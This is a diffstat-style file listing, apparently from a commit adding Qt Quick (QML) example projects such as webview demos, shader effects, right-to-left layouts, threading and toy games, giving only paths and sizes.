-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/background.jpgbin0 -> 209814 bytes
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/face-smile.pngbin0 -> 15408 bytes
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/home-page.svg445
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/shadow.pngbin0 -> 425 bytes
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/yast-joystick.pngbin0 -> 2723 bytes
-rw-r--r--examples/declarative/modelviews/parallax/qml/parallax/pics/yast-wol.pngbin0 -> 3769 bytes
-rw-r--r--examples/declarative/modelviews/pathview/main.cpp54
-rw-r--r--examples/declarative/modelviews/pathview/pathview.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/pathview/pathview.pro41
-rw-r--r--examples/declarative/modelviews/pathview/pathview.qmlproject16
-rw-r--r--examples/declarative/modelviews/pathview/pathview.svg93
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pathview-example.qml109
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/AddressBook_48.pngbin0 -> 3350 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/AudioPlayer_48.pngbin0 -> 3806 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/Camera_48.pngbin0 -> 3540 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/DateBook_48.pngbin0 -> 2610 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/EMail_48.pngbin0 -> 3655 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/TodoList_48.pngbin0 -> 3429 bytes
-rw-r--r--examples/declarative/modelviews/pathview/qml/pathview-example/pics/VideoPlayer_48.pngbin0 -> 4151 bytes
-rw-r--r--examples/declarative/modelviews/stringlistmodel/main.cpp72
-rw-r--r--examples/declarative/modelviews/stringlistmodel/qml/stringlistmodel/view.qml55
-rw-r--r--examples/declarative/modelviews/stringlistmodel/stringlistmodel.pro39
-rw-r--r--examples/declarative/modelviews/visualitemmodel/main.cpp54
-rw-r--r--examples/declarative/modelviews/visualitemmodel/qml/visualitemmodel/visualitemmodel.qml107
-rw-r--r--examples/declarative/modelviews/visualitemmodel/visualitemmodel.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/visualitemmodel/visualitemmodel.pro41
-rw-r--r--examples/declarative/modelviews/visualitemmodel/visualitemmodel.qmlproject16
-rw-r--r--examples/declarative/modelviews/visualitemmodel/visualitemmodel.svg93
-rw-r--r--examples/declarative/modelviews/webview/alerts/alerts.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/webview/alerts/alerts.pro41
-rw-r--r--examples/declarative/modelviews/webview/alerts/alerts.qmlproject16
-rw-r--r--examples/declarative/modelviews/webview/alerts/alerts.svg93
-rw-r--r--examples/declarative/modelviews/webview/alerts/main.cpp54
-rw-r--r--examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.html5
-rw-r--r--examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.qml101
-rw-r--r--examples/declarative/modelviews/webview/autosize/autosize.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/webview/autosize/autosize.pro41
-rw-r--r--examples/declarative/modelviews/webview/autosize/autosize.qmlproject16
-rw-r--r--examples/declarative/modelviews/webview/autosize/autosize.svg93
-rw-r--r--examples/declarative/modelviews/webview/autosize/main.cpp54
-rw-r--r--examples/declarative/modelviews/webview/autosize/qml/autosize/autosize.qml106
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/googlemaps.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/googlemaps.pro41
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/googlemaps.qmlproject16
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/googlemaps.svg93
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/main.cpp54
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/Map.qml73
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/Mapping/map.html60
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/cancel.pngbin0 -> 1038 bytes
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/content/pics/ok.pngbin0 -> 655 bytes
-rw-r--r--examples/declarative/modelviews/webview/googlemaps/qml/googlemaps/googlemaps.qml83
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/inlinehtml.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/inlinehtml.pro41
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/inlinehtml.qmlproject16
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/inlinehtml.svg93
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/main.cpp54
-rw-r--r--examples/declarative/modelviews/webview/inlinehtml/qml/inlinehtml/inlinehtml.qml55
-rw-r--r--examples/declarative/modelviews/webview/newwindows/main.cpp54
-rw-r--r--examples/declarative/modelviews/webview/newwindows/newwindows.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/modelviews/webview/newwindows/newwindows.pro41
-rw-r--r--examples/declarative/modelviews/webview/newwindows/newwindows.qmlproject16
-rw-r--r--examples/declarative/modelviews/webview/newwindows/newwindows.svg93
-rw-r--r--examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.html3
-rw-r--r--examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.qml71
-rw-r--r--examples/declarative/modelviews/webview/webview.pro8
-rw-r--r--examples/declarative/positioners/main.cpp54
-rw-r--r--examples/declarative/positioners/positioners.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/positioners/positioners.pro42
-rw-r--r--examples/declarative/positioners/positioners.qmlproject18
-rw-r--r--examples/declarative/positioners/positioners.svg93
-rw-r--r--examples/declarative/positioners/qml/positioners/Button.qml78
-rw-r--r--examples/declarative/positioners/qml/positioners/add.pngbin0 -> 810 bytes
-rw-r--r--examples/declarative/positioners/qml/positioners/del.pngbin0 -> 488 bytes
-rw-r--r--examples/declarative/positioners/qml/positioners/positioners.qml253
-rw-r--r--examples/declarative/righttoleft/layoutdirection/layoutdirection.pro39
-rw-r--r--examples/declarative/righttoleft/layoutdirection/layoutdirection.qmlproject18
-rw-r--r--examples/declarative/righttoleft/layoutdirection/layoutdirection.svg93
-rw-r--r--examples/declarative/righttoleft/layoutdirection/layoutdirection64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/righttoleft/layoutdirection/layoutdirection80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/righttoleft/layoutdirection/main.cpp54
-rw-r--r--examples/declarative/righttoleft/layoutdirection/qml/layoutdirection/layoutdirection.qml256
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/layoutmirroring.pro39
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/layoutmirroring.qmlproject18
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/layoutmirroring.svg93
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/layoutmirroring64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/layoutmirroring80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/main.cpp54
-rw-r--r--examples/declarative/righttoleft/layoutmirroring/qml/layoutmirroring/layoutmirroring.qml313
-rw-r--r--examples/declarative/righttoleft/textalignment/main.cpp54
-rw-r--r--examples/declarative/righttoleft/textalignment/qml/textalignment/textalignment.qml426
-rw-r--r--examples/declarative/righttoleft/textalignment/textalignment.pro39
-rw-r--r--examples/declarative/righttoleft/textalignment/textalignment.qmlproject18
-rw-r--r--examples/declarative/righttoleft/textalignment/textalignment.svg93
-rw-r--r--examples/declarative/righttoleft/textalignment/textalignment64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/righttoleft/textalignment/textalignment80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/screenorientation/Core/Bubble.qml90
-rw-r--r--examples/declarative/screenorientation/Core/Button.qml71
-rw-r--r--examples/declarative/screenorientation/Core/screenorientation.js94
-rw-r--r--examples/declarative/screenorientation/screenorientation.qml201
-rw-r--r--examples/declarative/screenorientation/screenorientation.qmlproject16
-rw-r--r--examples/declarative/shadereffects/main.cpp77
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/Curtain.qml106
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/CurtainEffect.qml97
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/DropShadow.qml117
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/DropShadowEffect.qml174
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/Grayscale.qml77
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/GrayscaleEffect.qml62
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/ImageMask.qml143
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/ImageMaskEffect.qml60
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/RadialWave.qml85
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/RadialWaveEffect.qml81
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/Water.qml60
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/WaterEffect.qml126
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/Curtain.jpgbin0 -> 16112 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/DropShadow.jpgbin0 -> 12975 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/Grayscale.jpgbin0 -> 19048 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/ImageMask.jpgbin0 -> 18751 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/RadialWave.jpgbin0 -> 41406 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/Water.jpgbin0 -> 17751 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/back.pngbin0 -> 370 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/bg.jpgbin0 -> 10189 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/desaturate.jpgbin0 -> 203942 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/drop_shadow.pngbin0 -> 219220 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/fabric.jpgbin0 -> 163431 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/flower.pngbin0 -> 219220 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/image1.jpgbin0 -> 115770 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/image2.jpgbin0 -> 45837 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/qt-logo.pngbin0 -> 22746 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/shader_effects.jpgbin0 -> 4906 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/sky.jpgbin0 -> 36734 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/toolbar.pngbin0 -> 342 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/images/wave.jpgbin0 -> 176681 bytes
-rw-r--r--examples/declarative/shadereffects/qml/shadereffects/main.qml160
-rw-r--r--examples/declarative/shadereffects/shadereffects.pro46
-rw-r--r--examples/declarative/shadereffects/shadereffects.qmlproject16
-rw-r--r--examples/declarative/sqllocalstorage/main.cpp54
-rw-r--r--examples/declarative/sqllocalstorage/qml/sqllocalstorage/hello.qml77
-rw-r--r--examples/declarative/sqllocalstorage/sqllocalstorage.pro41
-rw-r--r--examples/declarative/sqllocalstorage/sqllocalstorage.qmlproject16
-rw-r--r--examples/declarative/sqllocalstorage/sqllocalstorage.svg93
-rw-r--r--examples/declarative/sqllocalstorage/sqllocalstorage64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/sqllocalstorage/sqllocalstorage80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/text/fonts/availableFonts/availableFonts.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/text/fonts/availableFonts/availableFonts.pro41
-rw-r--r--examples/declarative/text/fonts/availableFonts/availableFonts.qmlproject16
-rw-r--r--examples/declarative/text/fonts/availableFonts/availableFonts.svg93
-rw-r--r--examples/declarative/text/fonts/availableFonts/main.cpp54
-rw-r--r--examples/declarative/text/fonts/availableFonts/qml/availableFonts/availableFonts.qml57
-rw-r--r--examples/declarative/text/fonts/availableFonts/qml/availableFonts/banner.qml61
-rw-r--r--examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts.qml104
-rw-r--r--examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--examples/declarative/text/fonts/availableFonts/qml/availableFonts/hello.qml79
-rw-r--r--examples/declarative/text/fonts/banner/banner.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/text/fonts/banner/banner.pro41
-rw-r--r--examples/declarative/text/fonts/banner/banner.qmlproject16
-rw-r--r--examples/declarative/text/fonts/banner/banner.svg93
-rw-r--r--examples/declarative/text/fonts/banner/main.cpp54
-rw-r--r--examples/declarative/text/fonts/banner/qml/banner/availableFonts.qml57
-rw-r--r--examples/declarative/text/fonts/banner/qml/banner/banner.qml61
-rw-r--r--examples/declarative/text/fonts/banner/qml/banner/fonts.qml104
-rw-r--r--examples/declarative/text/fonts/banner/qml/banner/fonts/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--examples/declarative/text/fonts/banner/qml/banner/hello.qml79
-rw-r--r--examples/declarative/text/fonts/fonts.pro7
-rw-r--r--examples/declarative/text/fonts/fonts/fonts.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/text/fonts/fonts/fonts.pro41
-rw-r--r--examples/declarative/text/fonts/fonts/fonts.qmlproject16
-rw-r--r--examples/declarative/text/fonts/fonts/fonts.svg93
-rw-r--r--examples/declarative/text/fonts/fonts/main.cpp54
-rw-r--r--examples/declarative/text/fonts/fonts/qml/fonts-qml/availableFonts.qml57
-rw-r--r--examples/declarative/text/fonts/fonts/qml/fonts-qml/banner.qml61
-rw-r--r--examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts.qml104
-rw-r--r--examples/declarative/text/fonts/fonts/qml/fonts-qml/fonts/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--examples/declarative/text/fonts/fonts/qml/fonts-qml/hello.qml79
-rw-r--r--examples/declarative/text/fonts/hello/hello.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/text/fonts/hello/hello.pro41
-rw-r--r--examples/declarative/text/fonts/hello/hello.qmlproject16
-rw-r--r--examples/declarative/text/fonts/hello/hello.svg93
-rw-r--r--examples/declarative/text/fonts/hello/main.cpp54
-rw-r--r--examples/declarative/text/fonts/hello/qml/hello/availableFonts.qml57
-rw-r--r--examples/declarative/text/fonts/hello/qml/hello/banner.qml61
-rw-r--r--examples/declarative/text/fonts/hello/qml/hello/fonts.qml104
-rw-r--r--examples/declarative/text/fonts/hello/qml/hello/fonts/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--examples/declarative/text/fonts/hello/qml/hello/hello.qml79
-rw-r--r--examples/declarative/text/text.pro5
-rw-r--r--examples/declarative/text/textselection/main.cpp54
-rw-r--r--examples/declarative/text/textselection/qml/textselection/pics/endHandle.pngbin0 -> 185 bytes
-rw-r--r--examples/declarative/text/textselection/qml/textselection/pics/endHandle.sci5
-rw-r--r--examples/declarative/text/textselection/qml/textselection/pics/startHandle.pngbin0 -> 178 bytes
-rw-r--r--examples/declarative/text/textselection/qml/textselection/pics/startHandle.sci5
-rw-r--r--examples/declarative/text/textselection/qml/textselection/textselection.qml290
-rw-r--r--examples/declarative/text/textselection/textselection.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/text/textselection/textselection.pro41
-rw-r--r--examples/declarative/text/textselection/textselection.qmlproject16
-rw-r--r--examples/declarative/text/textselection/textselection.svg93
-rw-r--r--examples/declarative/threading/threadedlistmodel/main.cpp54
-rw-r--r--examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/dataloader.js49
-rw-r--r--examples/declarative/threading/threadedlistmodel/qml/threadedlistmodel/timedisplay.qml76
-rw-r--r--examples/declarative/threading/threadedlistmodel/threadedlistmodel.pro39
-rw-r--r--examples/declarative/threading/threadedlistmodel/threadedlistmodel.qmlproject56
-rw-r--r--examples/declarative/threading/threadedlistmodel/threadedlistmodel.svg93
-rw-r--r--examples/declarative/threading/threadedlistmodel/threadedlistmodel64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/threading/threadedlistmodel/threadedlistmodel80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/threading/threading.pro5
-rw-r--r--examples/declarative/threading/workerscript/main.cpp54
-rw-r--r--examples/declarative/threading/workerscript/qml/workerscript/workerscript.js15
-rw-r--r--examples/declarative/threading/workerscript/qml/workerscript/workerscript.qml83
-rw-r--r--examples/declarative/threading/workerscript/workerscript.pro39
-rw-r--r--examples/declarative/threading/workerscript/workerscript.qmlproject16
-rw-r--r--examples/declarative/threading/workerscript/workerscript.svg93
-rw-r--r--examples/declarative/threading/workerscript/workerscript64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/threading/workerscript/workerscript80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.pro41
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.svg93
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/gestures.qmlproject16
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/main.cpp54
-rw-r--r--examples/declarative/touchinteraction/gestures/experimental-gestures/qml/experimental-gestures/experimental-gestures.qml76
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/main.cpp54
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/mousearea.qmlproject16
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.pro41
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/mouseareaexample.svg93
-rw-r--r--examples/declarative/touchinteraction/mousearea/mousearea-example/qml/mousearea-example/mousearea-example.qml112
-rw-r--r--examples/declarative/touchinteraction/pincharea/main.cpp54
-rw-r--r--examples/declarative/touchinteraction/pincharea/pincharea.pro39
-rw-r--r--examples/declarative/touchinteraction/pincharea/pincharea.qmlproject18
-rw-r--r--examples/declarative/touchinteraction/pincharea/pincharea.svg93
-rw-r--r--examples/declarative/touchinteraction/pincharea/pincharea64.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/touchinteraction/pincharea/pincharea80.pngbin0 -> 4945 bytes
-rw-r--r--examples/declarative/touchinteraction/pincharea/qml/pincharea/flickresize.qml97
-rw-r--r--examples/declarative/touchinteraction/pincharea/qml/pincharea/qt-logo.jpgbin0 -> 40886 bytes
-rw-r--r--examples/declarative/touchinteraction/touchinteraction.pro4
-rw-r--r--examples/declarative/toys/clocks/clocks.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/toys/clocks/clocks.pro41
-rw-r--r--examples/declarative/toys/clocks/clocks.qmlproject16
-rw-r--r--examples/declarative/toys/clocks/clocks.svg93
-rw-r--r--examples/declarative/toys/clocks/main.cpp54
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/clocks.qml59
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/Clock.qml124
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/QuitButton.qml52
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/background.pngbin0 -> 46895 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/center.pngbin0 -> 765 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/clock-night.pngbin0 -> 23359 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/clock.pngbin0 -> 20653 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/hour.pngbin0 -> 625 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/minute.pngbin0 -> 625 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/quit.pngbin0 -> 583 bytes
-rw-r--r--examples/declarative/toys/clocks/qml/clocks/content/second.pngbin0 -> 303 bytes
-rw-r--r--examples/declarative/toys/corkboards/corkboards.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/toys/corkboards/corkboards.pro41
-rw-r--r--examples/declarative/toys/corkboards/corkboards.qmlproject16
-rw-r--r--examples/declarative/toys/corkboards/corkboards.svg93
-rw-r--r--examples/declarative/toys/corkboards/main.cpp54
-rw-r--r--examples/declarative/toys/corkboards/qml/corkboards/Day.qml153
-rw-r--r--examples/declarative/toys/corkboards/qml/corkboards/cork.jpgbin0 -> 149337 bytes
-rw-r--r--examples/declarative/toys/corkboards/qml/corkboards/corkboards.qml115
-rw-r--r--examples/declarative/toys/corkboards/qml/corkboards/note-yellow.pngbin0 -> 54559 bytes
-rw-r--r--examples/declarative/toys/corkboards/qml/corkboards/tack.pngbin0 -> 7282 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/dynamicscene.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/dynamicscene.pro41
-rw-r--r--examples/declarative/toys/dynamicscene/dynamicscene.qmlproject16
-rw-r--r--examples/declarative/toys/dynamicscene/dynamicscene.svg93
-rw-r--r--examples/declarative/toys/dynamicscene/main.cpp54
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/Button.qml80
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/GenericSceneItem.qml49
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/PaletteItem.qml59
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/PerspectiveItem.qml65
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/Sun.qml78
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/dynamicscene.qml222
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/NOTE1
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/face-smile.pngbin0 -> 15408 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/moon.pngbin0 -> 1757 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_brown.pngbin0 -> 1245 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/rabbit_bw.pngbin0 -> 1759 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/star.pngbin0 -> 349 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/sun.pngbin0 -> 8153 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/images/tree_s.pngbin0 -> 3406 bytes
-rw-r--r--examples/declarative/toys/dynamicscene/qml/dynamicscene/itemCreation.js62
-rw-r--r--examples/declarative/toys/tic-tac-toe/main.cpp54
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/Button.qml79
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/TicTac.qml60
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/board.pngbin0 -> 12258 bytes
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/o.pngbin0 -> 1470 bytes
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/pics/x.pngbin0 -> 1331 bytes
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/content/tic-tac-toe.js149
-rw-r--r--examples/declarative/toys/tic-tac-toe/qml/tic-tac-toe/tic-tac-toe.qml123
-rw-r--r--examples/declarative/toys/tic-tac-toe/tic-tac-toe.qmlproject16
-rw-r--r--examples/declarative/toys/tic-tac-toe/tictactoe.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/toys/tic-tac-toe/tictactoe.pro42
-rw-r--r--examples/declarative/toys/tic-tac-toe/tictactoe.svg93
-rw-r--r--examples/declarative/toys/toys.pro8
-rw-r--r--examples/declarative/toys/tvtennis/main.cpp54
-rw-r--r--examples/declarative/toys/tvtennis/qml/tvtennis/tvtennis.qml109
-rw-r--r--examples/declarative/toys/tvtennis/tvtennis.pngbin0 -> 3400 bytes
-rw-r--r--examples/declarative/toys/tvtennis/tvtennis.pro41
-rw-r--r--examples/declarative/toys/tvtennis/tvtennis.qmlproject16
-rw-r--r--examples/declarative/toys/tvtennis/tvtennis.svg93
-rw-r--r--examples/declarative/tutorials/extending/chapter1-basics/app.qml60
-rw-r--r--examples/declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro5
-rw-r--r--examples/declarative/tutorials/extending/chapter1-basics/main.cpp57
-rw-r--r--examples/declarative/tutorials/extending/chapter1-basics/piechart.cpp81
-rw-r--r--examples/declarative/tutorials/extending/chapter1-basics/piechart.h71
-rw-r--r--examples/declarative/tutorials/extending/chapter2-methods/app.qml66
-rw-r--r--examples/declarative/tutorials/extending/chapter2-methods/chapter2-methods.pro5
-rw-r--r--examples/declarative/tutorials/extending/chapter2-methods/main.cpp57
-rw-r--r--examples/declarative/tutorials/extending/chapter2-methods/piechart.cpp87
-rw-r--r--examples/declarative/tutorials/extending/chapter2-methods/piechart.h84
-rw-r--r--examples/declarative/tutorials/extending/chapter3-bindings/app.qml74
-rw-r--r--examples/declarative/tutorials/extending/chapter3-bindings/chapter3-bindings.pro5
-rw-r--r--examples/declarative/tutorials/extending/chapter3-bindings/main.cpp57
-rw-r--r--examples/declarative/tutorials/extending/chapter3-bindings/piechart.cpp89
-rw-r--r--examples/declarative/tutorials/extending/chapter3-bindings/piechart.h84
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml60
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/chapter4-customPropertyTypes.pro7
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp66
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp72
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h78
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.cpp68
-rw-r--r--examples/declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h66
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/app.qml70
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/chapter5-listproperties.pro7
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/main.cpp58
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/piechart.cpp72
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/piechart.h75
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.cpp88
-rw-r--r--examples/declarative/tutorials/extending/chapter5-listproperties/pieslice.h76
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/app.qml68
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro21
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp54
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/chartsplugin.h55
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/piechart.cpp71
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/piechart.h69
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/pieslice.cpp88
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/pieslice.h74
-rw-r--r--examples/declarative/tutorials/extending/chapter6-plugins/qmldir1
-rw-r--r--examples/declarative/tutorials/extending/extending.pro10
-rw-r--r--examples/declarative/tutorials/helloworld/Cell.qml72
-rw-r--r--examples/declarative/tutorials/helloworld/tutorial1.qml63
-rw-r--r--examples/declarative/tutorials/helloworld/tutorial2.qml72
-rw-r--r--examples/declarative/tutorials/helloworld/tutorial3.qml91
-rw-r--r--examples/declarative/tutorials/samegame/samegame1/Block.qml53
-rw-r--r--examples/declarative/tutorials/samegame/samegame1/Button.qml83
-rw-r--r--examples/declarative/tutorials/samegame/samegame1/samegame.qml82
-rw-r--r--examples/declarative/tutorials/samegame/samegame1/samegame1.qmlproject16
-rw-r--r--examples/declarative/tutorials/samegame/samegame2/Block.qml51
-rw-r--r--examples/declarative/tutorials/samegame/samegame2/Button.qml81
-rw-r--r--examples/declarative/tutorials/samegame/samegame2/samegame.js63
-rw-r--r--examples/declarative/tutorials/samegame/samegame2/samegame.qml85
-rw-r--r--examples/declarative/tutorials/samegame/samegame2/samegame2.qmlproject16
-rw-r--r--examples/declarative/tutorials/samegame/samegame3/Block.qml63
-rw-r--r--examples/declarative/tutorials/samegame/samegame3/Button.qml81
-rw-r--r--examples/declarative/tutorials/samegame/samegame3/Dialog.qml71
